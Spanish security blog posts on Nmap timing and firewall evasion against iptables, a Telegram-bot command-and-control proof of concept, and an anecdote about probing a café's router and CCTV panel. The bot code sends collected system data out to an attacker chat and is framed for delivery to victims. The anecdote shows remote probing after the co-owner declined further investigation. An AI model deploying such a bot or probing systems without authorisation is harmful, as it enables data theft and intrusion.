(más) Técnicas de escaneo y evasión con Nmap usando el tiempo

La semana pasada hablé de técnicas de escaneo y evasión con Nmap. Hoy hablo de más técnicas de escaneo, como si fuera una segunda parte del artículo, y puede que vengan más en un futuro. El arte del fingerprinting, en muchas ocasiones es eso, un arte. Nos permite saber cosas sobre las máquinas cuando vamos a ciegas.

Figura 1: (más) Técnicas de escaneo y evasión con Nmap usando el tiempo

No sabemos si la máquina es Windows, un GNU/Linux, un macOS, no sabemos si tiene un puerto abierto o cerrado, si tiene un servicio u otro, si tiene una mecanismo de protección o no lo tiene. Ni siquiera tenemos por qué saber si estamos en la misma red que la máquina o las máquinas de las que queremos saber. Por eso, cuando hacemos un Ethical Hacking, cuanto más sepamos de la fortificación de Windows, de la fortificación de GNU/Linux y de la seguridad de MacOS, mejor entenderemos los resultados que obtenemos.

Fgiura 2: Libros de "Máxima Seguridad en Windows 4ª Edición"
"Hardening de servidores GNU/Linux 3ª Edición"
& "macOS Hacking" de 0xWord

Ligamos Nmap al fingerprinting en muchas ocasiones, pero no es la única herramienta, aunque sin duda es una herramienta con experiencia, con años de desarrollo y con extensibilidad a través de su motor NSE. La semana pasada la utilizamos para dar juego a ping sweep y todas las variantes de bypasses y evasiones que podemos imaginar en un entorno en el que queremos saber si la máquina está o no está.

Figura 3: Libro de técnicas de Ethical Hacking en 0xWord

Hoy vamos a jugar con los templates de tiempo y la forma de bypassear ciertas protecciones gracias al timing.

Nmap Timing: Jugando con el tiempo

La plantilla de tiempo en nmap viene dada por el parámetro –T. Cuando ponemos –T0 es la plantilla de tiempo más lenta, con diferencia, mientras que –T5 es la más rápida. Por defecto, ¿Qué utiliza nmap si no indicamos nada? Por defecto se utiliza la plantilla –T3. A continuación, os dejo un listado de los tipos de plantillas, sus nombres y las posibilidades de éstas:

• Insane –T5: Esta plantilla envía paquetes lo más rápido posible. Solo espera 0,3 segundos para obtener una respuesta ante el envío de un paquete. La diferencia de tiempo entre los dos paquetes enviados es de hasta 5 milisegundos. Escaneo muy rápido, pero el cual genera mucho ruido. La precisión aquí también es rebajada. Este escaneo puede ser utilizado en una red rápida, en un entorno local muy rápido.

• Aggresive –T4: Esta plantilla espera solo 1,25 segundos para obtener una respuesta. La diferencia entre el envío de paquetes es de 10 milisegundos.

• Normal –T3: Esta plantilla es la de por defecto.

• Polite –T2: Esta plantilla se utiliza para enviar paquetes rápidamente. La diferencia entre el envío de paquetes es de 0,4 segundos.

• Sneaky –T1: Esta plantilla se utiliza para enviar paquetes rápidamente pero más lento que un Normal o Polite Scan. La diferencia entre el envío de paquetes es de 15 segundos. 

• Paranoid –T0: Esta plantilla tiene una diferencia entre envío de paquetes de 5 minutos. Genera muy poco ruido, pero estamos metiendo una diferencia entre paquetes muy grande.

En la imagen se puede ver la ejecución de –T2, -T1 y –T0. Se pueden apreciar las diferencias en tiempo de cada escaneo.

Figura 4: Pruebas con -T2, -T1 y -T0

Empezamos a bloquear: Bloqueando –T5

En nuestra máquina GNU/Linux Ubuntu con iptables añadimos estas reglas:

iptables -I INPUT -p tcp -m state --state NEW -m recent --set 

iptables -I INPUT -p tcp -m state --state NEW -m recent --update --seconds 1 --hitcount 1 -j DROP

Como podemos ver en la siguiente imagen, la primera petición se responde, pero las siguientes no tienen margen, como indica la regla, por lo que como no ha pasado el tiempo de un segundo entre peticiones se filtra el paquete.

Figura 5: Resultado con un -T5. Se detectan los servicios.

Como la regla tiene 1 segundo entre peticiones, el bypass es realmente sencillo. Se puede hacer un bypass con el propio –T5 a través de los reintentos. Cada reintento consume tiempo por lo que si aplicamos reintentos podemos superar esos segundos de bypass. Con la opción –max-retries [número de reintentos].

Figura 6: Se salta igualmente

En este caso, también podíamos utilizar las otras plantillas de la –T4 a la –T0. Esto es debido al poco tiempo indicando en el parámetro –seconds de iptables.

Bloqueando –T4, -T3 (modo por defecto) y –T2

Ahora vamos a aplicar nuevas reglas para bloquear estas plantillas de tiempo. Si quisiéramos bloquear –T1 ampliaríamos en más segundos. Como se puede ver el juego es sencillo.

iptables -I INPUT -p tcp -m state --state NEW -m recent --set 

iptables -I INPUT -p tcp -m state --state NEW -m recent --update --seconds 3 --hitcount 1 -j DROP

En la imagen se puede ver cómo se bloquea o filtran las peticiones con –T4, mientras que si se utilizada un –T1 y se tardan 60 segundos para escanear 3 puertos, se obtiene respuesta del estado de los puertos.

Figura 7: Se tarda 60 segundos para escanear tres puertos

Si en las reglas anteriores metemos como valor 100 al parámetro –seconds, iptables hará DROP sobre los paquetes de la plantilla –T1, lo que dificultaría mucho el proceso de scanning. Este bypass, a estas alturas del artículo ya se puede hacer uno a la idea de que será usando la plantilla –T0.

Saludos,

Autor: Pablo González Pérez (@pablogonzalezpe), escritor de los libros "Metasploit para Pentesters", "Hacking con Metasploit: Advanced Pentesting" "Hacking Windows", "Ethical Hacking", "Got Root" y “Pentesting con Powershell”, Microsoft MVP en Seguridad y Security Researcher en el equipo de "Ideas Locas" de la unidad CDO de Telefónica.
Para consultas puedes usar el Buzón Público para contactar con Pablo González

Técnicas de escaneo y evasión con nmap para saltarse la seguridad de red

El próximo 21 (y 22 y 23) de octubre estaré en Chile para unas pequeñas vacaciones e impartir una serie de talleres sobre Ethical Hacking, Powershell ofensiva y Metasploit dentro del congreso 8dot8 que se celebra en la ciudad de Santiago. 3 días de talleres que hay que ir preparando con mimo para que todos puedan sacar lo mejor. Allí, además, podrás encontrar los libros de 0xword durante el evento, y puede que tenga alguna sorpresa para los asistentes durante los talleres.

Figura 1: Técnicas de escaneo y evasión con namp para saltarse la seguridad de red

También tengo el honor de estar en la 8dot8 dando una charla sobre un trabajo que hemos realizado en el departamento de Ideas Locas del área CDO de Telefónica. Hemos trabajado sobre GANs y VAEs autoencoders con el objetivo de ver cómo de fácil es lograr que una IA genere la cara de un rostro conocido y la misma voz de dicha persona. La charla se llama: “GANs and Roses: Weaponizing the CEO Scam fraud with AI and Autoencoders”.  Un título ‘molón’ para un trabajo molón, pero para ir abriendo boca puedes ir viendo la LUCA Talk que hemos dado mi compañero Enrique Blanco y yo esta semana.

Figura 2: Uso de GANs y Autoencoders en Ciberseguridad

Volviendo al tema del artículo, tras estar preparando los talleres de 8dot8 estuve recopilando técnicas básicas de evasión, con el objetivo de explicar la fase de reconocimiento y fingerprint lo más variado y con más posibilidades, posible, valga la redundancia. Por ello, quería mostrar algunas de las técnicas en este post, aunque muchas son antiguas y conocidas, siguen siendo válidas en ciertos escenarios.

Lo primero son los conceptos

Lo primero es tener claro a qué elementos uno se enfrenta. Hay muchos elementos. Cada vez más efectivos y cada vez más complejos. A continuación, se enumeran:

• NIDS: Sistema de detección de intrusión de red. En un breve resumen se puede decir que se utiliza un tap, un span port o un hub para recopilar los paquetes de la red. Se analizan intentando identificar comportamientos ilícitos o anómalos. Los métodos utilizados son la comparación de firmas, el análisis del estado en protocolos, etcétera. Procesando la captura de tráfico, el IDS procesa y lanza alertas y flags sobre el tráfico sospechoso.

• HIDS: Sistema de detección de intrusión en host. Un agente en el equipo monitoriza la actividad del equipo con el objetivo de detector la anomalía. Se intenta detectar, de nuevo, comportamientos anómalos e ilícitos sobre el equipo. El agente utiliza una combinación de firmas, reglas y heurísticas para identificar la actividad anómala.

• IDS: Sistema de detección de intrusiones. Solo reporta que hubo una intrusión.

• IPS: Sistema de prevención de intrusiones. Aparte de detectar la intrusión, toma acciones contra la intrusión. El objetivo es minimizar el impacto de la amenaza. A veces, se puede entender o acercar a que el IPS es la suma de la detección de un IDS con las reglas que aplica un firewall para mitigar el impacto. Repito, acercar a este concepto.

Respecto a las técnicas de evasión podemos encontrar muchas, como dije anteriormente, unas más modernas y otras más antiguas. Algunas más eficientes y otras menos. Depende siempre de los casos y los escenarios. Cuanto mayor conocimiento se tenga mayor es la posibilidad de tener éxito en una evasión, por lo que todo suma. A continuación, os dejo un listado de técnicas:

• Fragmentación 

• Timing 

• Sending bad checksums 

• Utilizando múltiples técnicas 

• Usar proxies 

• MAC Address Spoofing 

• IP Address Spoofing 

• Changing data length 

• Transmission Unit

Ping Sweep

Aunque no lo he puesto en el listado anterior, ya que no es una técnica, si no un detalle, y en ocasiones obvio, el llamado Ping Supression consiste en decirle a Nmap que no envíe el ping, ya que en muchas ocasiones el firewall lo bloqueará. Para decirle a Nmap que no envié un icmp echo request, es decir, un ping, le decimos con nmap –Pn [dirección IP].

Figura 3: Libro de Pablo González sobre Ethical Hacking en 0xWord

Pero si hablamos de esta técnica un poco más en profundidad podemos hablar de Ping Sweep. Este escaneo utiliza el parámetro –sP. Es un escaneo utilizado para identificar equipos vivos sin tirar de ARP, aunque solamente a medias. Si la máquina destino se encuentra en nuestra red tiraremos de ARP para detectar si está “viva” o no. Mientras que si la máquina destino no se encuentra en nuestra red local tiraremos de estas opciones:

1. ICMP echo request 

2. ICMP timestamp request 

3. Escaneo de tipo SYN al puerto 443 

4. Escaneo de tipo ACK al puerto 80

Figura 4: Ejecución de nmap -sP --disable-arp-ping

Si en una red local no quieres lanzar un ARP Scan se puede deshabilitar con el parámetro –disable-arp-ping como se ve en la imagen superior.

Figura 5: Respuesta en Wireshark

Como se ve en la respuesta nmap ha tirado por la opción de TCP, no ha utilizado ARP, y ha lanzado un SYN al puerto 80 y 443. Se ha obtenido una respuesta que es un RST, ACK a ambos casos. Esto quiere decir que la máquina está arriba, pero, además, ya sabemos que el puerto está cerrado, por lo que no hay un servidor en esos puertos.

Figura 6: Libro de Hardening GNU/Linux 3ª Edición

Si bloqueamos el ping sweep con itpables obtendremos un resultado en el que se nos dice que la máquina no está viva. Es decir, el objetivo de este tipo de escaneo estaría fallando, ya que la máquina está funcionando, pero el firewall está bloqueando esa información. La configuración de iptables es la siguiente:

Figura 7: Configurando IPTABLES para fortificar el servidor

El resultado de la ejecución de nmap puede verse en la siguiente imagen, se puede observar como el resultado es que el equipo está “down”.

Figura 8: El servidor aparece down

El primer intento es hacer un TCP SYN Ping Scan, es decir, utilizar el flag de SYN al puerto 80. Hay que recalcar que en el listado que comentaba anteriormente se hablaba de dos paquetes ICMP con la opción –sP, deshabilitábamos el ARP Scan, y se probaba también el ACK Scan al puerto 80 y el SYN Scan al puerto 443. TCP SYN Ping Scan lo que intentará es hacer un SYN Scan al puerto 80. Pero, el resultado es malo. ¿No hay host?

Figura 9: 0 hosts descubiertos

Esto es porque cuando hemos bloqueado el ping sweep mediante iptables. También hemos metido la regla de hacer DROP contra todos los SYN al puerto 80. La regla es (véase libro de fortificar servidores GNU/Linux):

iptables –I INPUT –p tcp –tcp-flags ALL –dport 80 –j DROP.

Podemos hacer un bypass a TCP SYN Ping haciendo un TCP ACK Ping. Con Nmap podemos utilizar el parámetro –PA para indicar que queremos hacer un envío de flags ACK. Por defecto, se hacen al puerto 80, pero viendo el iptables que hemos configurado previamente, eso ya está bloqueado. Por esa razón, utilizamos –PA443, para que el tráfico vaya al puerto 443 o al que nosotros nos interese. Quizá alguno encontremos que no esté filtrado.

Figura 10: 1 host descubierto en 443

Tal y como se ve en la imagen, obtenemos de nuevo la respuesta de que la máquina está viva. Como se puede ver en la captura de Wireshark se envió el ACK al 443 y se obtuvo una respuesta RST, es decir, pasamos el firewall y la máquina contestó.

Figura 11: Registro en WireShark

Ahora bloqueamos TCP ACK Ping Scan mediante la regla:

iptables –I INPUT –p tcp –tcp-flags ALL ACK –j DROP. 

Ahora ya da igual el puerto. ¿Cuál es el camino a seguir? Ahora toca seguir probando con ICMP Echo y con ICMP Timestamp Ping. En nuestro caso, hemos aplicado un DROP a ICMP, por lo que cualquier paquete ICMP será descartado, pero en algunas ocasiones los administradores no hacen estas configuraciones tan radicales, por lo que probaremos con ICMP Echo Ping Scan a través de la ejecución de:

nmap –sP –PE [dirección IP] –disable-arp-ping

El resultado, como he comentado sería negativo. Por otro lado, para ejecutar ICMP Timestamp Ping se lanza el comando:

nmap –sP –PP [dirección IP] –disable-arp-ping

Mismo resultado. Si modifico o elimino la regla del DROP a todo el protocolo ICMP y personalizo, entran las ventanas de posibilidades. En Wireshark podemos ver algo así, cuando se recibe la petición y la respuesta, es decir, cuando se evita el firewall.

Figura 12: Reflejo en tráfico capturado por Wireshark

¿Y ahora? Podemos empezar a probar con UDP. La técnica llamada bypass ICMP Ping Scan utilizando UDP Ping. Para ello ejecutamos el comando: nmap –sP –PU [dirección IP]

Figura 13: Escaneo UDP Ping

El resultado, como puede verse es una petición UDP a un puerto y una respuesta de la máquina por ICMP indicando que el puerto no es alcanzable. ¿Tocará bloquear UDP?

Figura 14: Host respondiendo en Wireshark

En efecto, ahora toca bloquear UDP junto a todo el Ping Sweep. Optamos por añadir a nuestro iptables la siguiente regla:

iptables -I INPUT -p UDP -j DROP

¿Cómo se bypassea? Ahora utilizaremos Protocol Scan, es decir, lanzaremos una serie de paquetes, y uno de ellos será un IPv4 que proporcionará que nos contesten con un ICMP.

Figura 15: En el libro de Pentesting con Kali de 0xWord
 se explican las técnicas de escaneo de redes y puertos

Este tipo de ping o Protocol Scan se utiliza cuando ICMP, TCP y UDP están bloqueados. El parámetro utilizado será –PO. El orden es el siguiente:

1. Enviamos un ICMP Echo Request. El cual estará bloqueado en nuestro firewall. 

2. Enviamos un IGMP query. 

3. Enviamos un IPv4. 

4. Esperamos recibir un ICMP de destino inalcanzable.

El comando a ejecutar es:

nmap –sP –PO [dirección IP] –disable-arp-ping

El resultado se puede ver ahí, tal y como nos decía la teoría. Ahora sabemos que la máquina está “up”.

Figura 16: Se descubre que la máquina está up

¿Nos pueden bloquear más? Siempre. Tenemos que tener en cuenta que el objetivo es poder decir que la máquina X está “up” y no “down” porque el firewall nos engañe. Con la regla:

iptables –I INPUT –p ip –j DROP

nos bloquean todo el tráfico IP. Ahora solo nos queda la opción No Ping Scan. Esto se ejecuta con el parámetro –PN. En esta imagen siguiente podemos ver cómo lanzamos el Protocol Scan y no conseguimos detectar que la máquina está arriba. Esto es porque ya aplicamos la regla de iptables que indicábamos. Por otro lado, con la opción –PN lanzamos la última opción No Ping Scan.

Figura 17: No Ping Scan

En otras palabras, cuando nada parece funcionar para saber si el host está arriba o abajo. Lo que se realiza con este tipo de escaneos es un análisis de puertos para los 1000 puertos más importantes. Es una técnica que a mitad de la lectura del artículo seguro que se te ocurrió, pero que se deja para el final. Es una técnica que generará más ruido en la red, eso seguro.

Hasta aquí el artículo. Iré añadiendo más escenarios dentro de la fase de reconocimiento y fingerprint, ya que es una parte fundamental y siempre interesante de conocer a bajo nivel. El conocimiento del comportamiento de las implementaciones de la pila TCP/IP es fundamental.

Saludos,

Autor: Pablo González Pérez (@pablogonzalezpe), escritor de los libros "Metasploit para Pentesters", "Hacking con Metasploit: Advanced Pentesting" "Hacking Windows", "Ethical Hacking", "Got Root" y “Pentesting con Powershell”, Microsoft MVP en Seguridad y Security Researcher en el equipo de "Ideas Locas" de la unidad CDO de Telefónica.
Para consultas puedes usar el Buzón Público para contactar con Pablo González

Usar bots de Telegram para crear una Botnet controlada con un chat #Telegram

Un día descubrí los bots de Telegram y empecé a probar los servicios que ofrecían. Me di cuenta que nos permiten hacer un montón de cosas, cosas que pueden ser buenas o que alguien podría tornar en maliciosas para manejar remotamente un malware, al estilo de otros que han utilizado Twitter o Gmail.

Figura 1: Usar bots de Telegram para crear una botnet controlada con un chat

Un bot de Telegram, básicamente, es un programa corriendo en un equipo que realizará las acciones que nosotros le solicitemos a través de mensajes (palabras clave) enviados desde nuestra cuenta de Telegram por un chat. De esto ya vimos por aquí como se podía integrar un bot de Telegram con un sistema de control basado en una topología de Sinfonier gestionada por Latch.

Figura 2: Bot de Telegram controlado con Sinfonier y Latch

Yo he decidido hacer uso de esta tecnología para hacer control de acciones que podría tener que hacer un pentester. Así podría hacer las tareas de auditoría de forma remota bajo demanda. Por ejemplo, aquí podemos ver un bot que ejecutará Nmap y nos pasará el resultado a nuestro Telegram al enviarle una dirección IP:

Figura 3: Un bot que lanza Nmap controlado por un chat de Telegram

Por supuesto, si en lugar de controlar acciones de pentesting, se conectara a un malware, podríamos tener un sistema en el que se utilicen los bots de Telegram para, a través de un chat, tener un C&C para gestionar una botnet.

En esta entrada veremos cómo se puede hacer un bot que recopile información de un sistema Windows infectado (para luego utilizarla junto a algún sistema tipo Windows Exploit Suggester), nos la envíe en un fichero .doc y que luego podamos eliminarlo - como ejemplo del tipo de acciones que se pueden hacer -. Por supuesto, cuanto más fortificado esté el sistema Windows más difícil será meter un malware como éste.

¿Cuáles son las ventajas que nos ofrecen los bots?

Al utilizar Telegram como canal de comunicación con el C&C podemos aprovecharnos del cifrado de conexión al chat, además de poder utilizar cuentas anónimas creadas para la ocasión que van a ser usadas desde cualquier ubicación, por lo que daría a un atacante un entorno altamente disponible, con un cierto grado de anonimato y una capa de cifrado en la comunicación que ya viene por defecto. Eso sí, recuerda que hay determinadas acciones que se pueden hacer para "vigilar" las cuentas de Telegram que debes tener en cuenta.

Figura 4: Es posible saber cuándo una cuenta está activa o no en Telegram

No me voy a enfocar en cuál es el proceso completo para crear un bot ni en la explicación sobre la programación de los bots en Telegram, pero sí que os dejo los enlaces a los artículos que yo he utilizado para aprender a hacerlos:

- Instrucciones sobre la creación de un bot en Telegram
- APIs de los bots de Telegram
- Creando un bot con el API de Telegram

Lo que si voy a explicar son las líneas de código de nuestro bot de ejemplo para que se comprenda su funcionamiento. Para ello, además de utilizar Telegram y las APIs de los bots de Telegram vamos a hacer uso de la API que Python tiene para controlar los bots de Telegram.

Figura 5: PyTelegramBotAPI en GitHub

A continuación se muestran unos diagramas de lo que hace nuestro bot, para entender parte del proceso que se ha construido en esta PoC (Proof of Concept) en tres partes distintas.

Figura 6: Primera parte "conexión y recolección de información"

(1) Una vez iniciado, el bot envía el mensaje “I´m ready” al server de Telegram.
(2) El atacante recibe el mensaje que le permite saber que el bot se ha ejecutado.
(3) El atacante envía el mensaje “/systeminfo” para pedir al bot que comience a recabar información.
(4) El bot recibe el mensaje.
(5) Ejecuta el comando systeminfo y lo guarda en sys.doc

Figura 7: Segunda parte "recolección del archivo con datos"

(1) El atacante envía el comando “/data” solicitando el archivo sys.doc.
(2) El bot recibe el mensaje.
(3) El bot envía el archivo sys.doc.
(4) El atacante recibe el archivo.

Figura 8: Tercera parte "Eliminación del fichero y el bot"

(1) El atacante envía el comando “/suicide” para pedir al bot que se elimine.
(2) El bot recibe el mensaje.
(3) El bot borra el archivo sys.doc que creó y luego se autoelimina.
(4) El bot envía un mensaje para informar que se ha realizado lo pedido.
(5) El atacante recibe el mensaje confirmando la eliminación del bot y su archivo.

El script de nuestro bot pueden descargarlo desde mi sitio en Google Sites "Mama quiero ser pentester". Esta bajo el nombre de malbot.py

Figura 9: Código fuente del bot de Telegram de ejemplo

Lo primero que veremos al abrir el archivo será:

import telebot
import os

Estas son las lineas en las que importamos el módulo de Python arriba mencionado y el módulo para ejecutar comandos del sistema operativo. Luego veremos:

token = "TU_TOKEN_AQUI"
bot = telebot.TeleBot(token)

Como podrán deducir, aquí definimos nuestro token (previamente obtenido al crear nuestro bot desde Telegram) para interactuar con la API y creamos el objeto "bot". Luego sigue:

text='Im Ready!'
bot.send_message('TU_CHAT_ID', text)

Esto nos enviará un mensaje cuando el bot sea ejecutado. Donde dice SU_CHAT_ID deben agregar el número de identificación de chat que les devolverá al ingresar lo siguiente en el navegador:

https://api.telegram.org/botSU_TOKEN_AQUI/getUpdates

El proceso anterior, por supuesto, puede automatizarse en un entorno real, pero para el Spaghetti Code de esta PoC es suficiente con hacerlo de manera manual. Continuando, veremos lo siguiente:

@bot.message_handler(commands=['systeminfo'])
def send_welcome(message):
os.system('systeminfo > sys.doc')

@bot.message_handler(commands=['data'])
def enviar_doc(message):
doc = open('sys.doc','rb')
bot.send_document('TU_CHAT_ID', doc)

En las líneas de arriba, primero definimos la función que se va a encargar de realizar la recopilación de información del sistema y la guardará en un archivo .doc cuando le pasemos la orden "systeminfo". En segundo lugar, definimos la función que nos enviará el archivo al mandarle la instrucción "data". Luego tenemos:

@bot.message_handler(commands=['suicide'])
def send_welcome(message):
bot.send_message('TU_CHAT_ID', 'It was an honour')
os.system('del sys.doc')
os.system('del secbot.py')

En esas líneas le estamos diciendo al bot (de un modo un poco dramático) que se auto-elimine previo borrado del archivo sys.doc. Por último, para iniciar nuestro bot debemos agregar:

bot.polling(none_stop=False, interval=0)

Les dejo un video con nuestra PoC del bot en acción:

Figura 10: Utilizando un bot de Telegram para recopilar información de Windows

En este caso se está utilizando Python para la ejecución (lo cual no serviría de mucho si el usuario no tiene instalado el intérprete) pero la idea sería convertirlo en un ejecutable (con py2exe por ejemplo) para poder empaquetar y mandar a nuestra víctima. En cualquier caso, como malware este ejemplo es bastante sencillo, ya que lo que pretende es mostrar cómo se pueden usar los bots de Telegram como C&C de cualquier botnet, como ya se ha visto en algunos casos en el pasado.

Saludos y... Happy Bot Hacking!

Autor: Alejandro Fanjul

Pentesting Familiar: El chino, el TPV, el CCTV y ni un café

El sábado siguiente a la primera vista donde jugué con el sistema Yamaha volvimos al centro comercial, y mientras las chicas paseaban por las tiendas, casualmente decidí a tomar un café en el mismo local ;) Para mi sorpresa, no iba a ser tan fácil como llegar y triunfar como había planificado tras el primer contacto, y aún la historia iba a dar algunas vueltas. Esto es lo que pasó en mi segunda visita.

Figura 10: Pentesting Familiar. El Chino, el TPV, el CCTV y ni un café

Enseguida identifiqué al dueño del negocio, un hombre de origen asiático que estaba sentado en la barra dando instrucciones al personal. Antes de pensar en hablar con él, decidí echar un vistazo a la red con el ordenador ya que en esta ocasión sí que me lo había traído junto con mi Kali Linux.

Eh, colega, ¿has visto mi Wi-Fi?

Tras explorar una y otra vez las redes Wi-Fi a mi alcance y ver que la red del local ya no aparecía, sospeché que algo había pasado. Antes de preguntar a nadie, exploré con airodump-ng los diferentes puntos de acceso, ya que disponía de la dirección MAC del router en los pantallazos de la vez anterior, para ver qué había pasado con la red. Tras hacer las comprobaciones pertinentes, pude determinar que el punto de acceso con la dirección MAC correspondiente al Livebox, estaba sirviendo una red Wi-Fi con autenticación WPA2 y el siguiente SSID: “Dani the best”.

En este momento, no me quedó más remedio que utilizar la ingeniería social, así que comencé a hablar con un camarero italiano llamado Nicola que casualmente había empezado a trabajar esa misma semana, por lo que no me recordaba. Tras intimar un poco con él, utilizando mis habilidades sociales, me contó que por lo visto los dueños habían decidido dejar de compartir la Wi-Fi del local con sus clientes porque “iba demasiado lenta últimamente”. Por lo visto, el ocurrente SSID de la nueva red, era obra del jefe de cocina, que había cambiado la contraseña por cuenta propia y puesto ese nombre en su honor.

Figura 11: Eh, colega, ¿has visto mi Wi-Fi?

Intentar obtener la nueva contraseña mediante un ataque de diccionario o la explotación del WPS en caso de que hubiera estado habilitado era una opción que llevaría mucho tiempo, y que tampoco tenía sentido puesto que como ya he comentado, mi intención era la de reportar lo descubierto, así que a través de Nicola comencé también a entablar una conversación con el dueño del local, que era de origen chino y no hablaba nada de español, pero sí un poco de inglés pues había estado viviendo en Irlanda.

Al cabo del rato, después de hablar de temas varios, le conté a lo que me dedicaba y lo que había descubierto, aunque estaba claro que no podría alcanzar a entenderlo sin una demostración, y más con la barrera del idioma, ya que su inglés era limitado. Por ello le pedí que me facilitara él mismo la nueva clave de la red Wi-Fi. Resulta que con un poco de paciencia logré entender que ni él mismo la conocía, y que "Dani the best" no estaba trabajando en ese turno.

Así que me ofrecí a proporcionarle yo mismo la clave de su propia Wi-Fi, conectándome directamente al router Livebox con un cable de red que llevaba en la mochila, y entrando con la contraseña por defecto, que sí que seguía igual. Una vez que tenía la nueva contraseña, le pedí permiso para cambiar momentáneamente a Kenny G. (por lo visto era su cantante favorito) y esta vez sí, poner durante unos segundos el mítico “Who's the Bad Man”, de Dee Pattern. Lamentablemente, no tengo un vídeo de aquel divertido momento pero os dejo aquí el tema para que lo podáis imaginar.

Figura 12: Who's the Bad Man de Dee Pattern

Tras contemplar todos atónitos la demostración de cambio musical en directo, el dueño me dijo que investigara lo que quisiera, y que volviera la semana siguiente otra vez que estaría su mujer, la auténtica jefa del negocio (y de la pareja) para seguir comentando. 

A por el TPV

Resultó además que este negocio era una franquicia de una conocida cadena de cafeterías que ellos habían decidido regentar, y él no tenía muchos detalles, pero me explicó que la administración tecnológica se controlaba desde los responsables de la propia cadena y que no tenían mucha capacidad para hacer nada. Visto lo que yo había podido comprobar, esto no era del todo cierto (si no que se lo digan a "Dani The Best"), y si lo fuese, todos los establecimientos de la cadena podrían ser vulnerables.

Figura 13: Windows Embedded POSReady2009

Con todo el tiempo invertido en este proceso del descubrimiento de la nueva red y la ingeniería social con camarero y dueño, había pasado ya un rato, tocaba volver otra vez con las chicas, así que escaneé muy rápidamente los servicios del servidor CAJA3 para comprobar que efectivamente estaban habilitados, y determinar que se trataba de un equipo con sistema operativo “Windows Embedded Pos Ready 2009 SP3” , una versión ligera de Windows XP utilizada habitualmente en plataformas TPV o POS (Point of Sales).

Figura 14: Frauden en Point of Sales (PoS)

Muy acorde en este momento es que os deje la sesión de Fraude en Point of Sales que hizo Gabriel Bergel sobre estos asuntos por si queréis profundizar en lo que podría significar que alguien tomara control de estos PoS o TPV. El mundo del fraude ha puesto los ojos en estos sistemas, como se puede ver en el informe que ha publicado Kaspersky & ElevenPaths sobre ello, pero, si existía alguna vulnerabilidad explotable, tocaría descubrirlo en una tercera visita, así que tras pagar mi café me despedí de mis nuevos amigos y quedamos para la semana siguiente.

Última visita: La Wi-Fi del CCTV 

El siguiente viernes por la tarde volví a hacer los 80 km al centro comercial con mi ordenador y mi Kali Linux 2, y al llegar a mi cafetería favorita y pedir mi cortado natural oscuro (cortado largo de café para los que no viváis en las Islas Canarias), la situación no podía ser más surrealista. “Dani the Best” había desaparecido también, y ahora el nuevo SSID del Livebox era “Cam Station Center”. Tres configuraciones diferentes en tres semanas. Para más INRI, la pareja de dueños (sí, ese día estaba la jefa) estaba hablando con un técnico de la empresa que se encontraba justo en ese momento instalando cámaras de vigilancia en el local, de ahí el nombre de la nueva red

Esperé un rato hasta que el dueño vino con su esposa a saludarme, pero enseguida pude comprobar que a ésta no le interesaba en absoluto que investigáramos nada, ya que me volvió a repetir el argumento de que cualquier tema que tuviera que ver con la tecnología debía de ser aprobado por los responsables de la cadena. Como estaban ocupados con el nuevo juguete de las cámaras, y había comprobado quién mandaba en el negocio y probablemente en la relación, tampoco tenía ganas de invertir más tiempo así que pagué nuevamente mi café y me volví a casa al rato.

Ahora en Remoto

Una vez en casa, tras colocar el ordenador en la mesa y dar por concluida la historia de esta cafetería tan smart, reparé en que en la primera visita antes de irme me había quedado con la dirección IP pública del router, por lo que le di una pasada muy rápida con nmap para comprobar si lo que pasaba por mi cabeza en aquel momento podría ser cierto, y en efecto.

Figura 15: Escaneo con nmap de la dirección IP pública del establecimiento

El puerto 80 estaba abierto y si intentábamos acceder al sitio web alojado en esa dirección IP pública nos encontrábamos con la pantalla de inicio de sesión de lo que parecía ser el panel de administración de la recién instalada estación CCTV que controla las cámaras de vigilancia. Mi investigación había concluido ya, pero por curiosidad eché un vistazo a la página de inicio de sesión ya que tras la pertinente búsqueda en Google, no parecía ser una solución utilizada ampliamente.

Si querías intentar autenticarte, tendría que ser con Internet Explorer a través de la instalación de un control ActiveX, y una vez así, introducir las credenciales en el formulario para la cuenta de admin, que ya venía establecida por defecto. Una cosa menos que adivinar ;)

Figura 16: Panel de administración del sistema de CCTV

Como curiosidad, echando un vistazo al código fuente de la página de autenticación, podían encontrarse pistas, como por ejemplo esta dirección URL a la que se le pasa como parámetro el usuario admin y una contraseña en blanco para invocar parámetros de configuración de las cámaras:

Figura 17: URL para conseguir los parámetros de configuración

Accediendo a esta URL podemos comprobar que entre estos parámetros que se configuran es posible encontrar valores de diferentes puertos para HTTP, RTSP, así como el número de canal o el lenguaje en el que estaban configuradas las cámaras.

Figura 18: Parámetros de configuración del sistema CCTV

Lo último que hice por curiosidad fue analizar el tráfico que se genera al enviar cualquier cosa a través del formulario para comprobar que las credenciales son enviadas en texto plano a través del puerto 8000 que aparecía como abierto en el escaneo previo realizado con nmap. Sobra decir que si se accede a este panel de administración desde una red Wi-Fi abierta o susceptible a ataques MITM un atacante malicioso podría interceptar estas credenciales al enviarse en texto plano.

A la hora de introducir las mismas, el campo para la contraseña está limitado a una longitud de 6 caracteres. Cabe recordar que el nombre de la cuenta de usuario se conoce, pues viene establecido por defecto como “admin”. Por tanto, a quien quisiese intentar realizar un ataque de diccionario para poder administrar las cámaras de vigilancia, le bastaría con programarse un script que enviase los datos directamente al puerto 8000 y monitorizar las diferencias que se obtienen en la respuesta recibida del servidor.

Figura 19: Credenciales enviadas en texto plano a través del puerto  8000

Pero no iba a ser yo quien lo hiciera, por motivos evidentes, ni acercarme a intentar explicarle qué es una VPN o cómo segmentar la red. Bastante tiempo había invertido ya en analizar la seguridad del local y reportar lo encontrado a los dueños, sin haber recibido a cambio ni un triste café como invitación de la casa ;) Eso sí, hay que reconocer que ir a tomar un café con la familia y terminar jugando con nmap, Kali Linux y seguridad web hacen que mereciera la pena entrar en ese café sí o sí.

Corolario

Al final, se trata de un ejemplo más de cómo la seguridad tiene para algunos pequeños o medianos negocios un valor intangible que sólo sale a la luz cuando hay problemas. En este caso, se prefiere invertir en añadir funcionalidades a la infraestructura aunque no se tenga un control certero de los sistemas ni unas mínimas garantías de que no podrán ser penetrados. Afortunadamente, esto no es así en todos lados y la cultura de la sociedad está cambiando. Cada vez son más las organizaciones y empresas que invierten recursos en fortificar la seguridad a todos los niveles. Aunque está claro que aún queda trabajo por hacer.

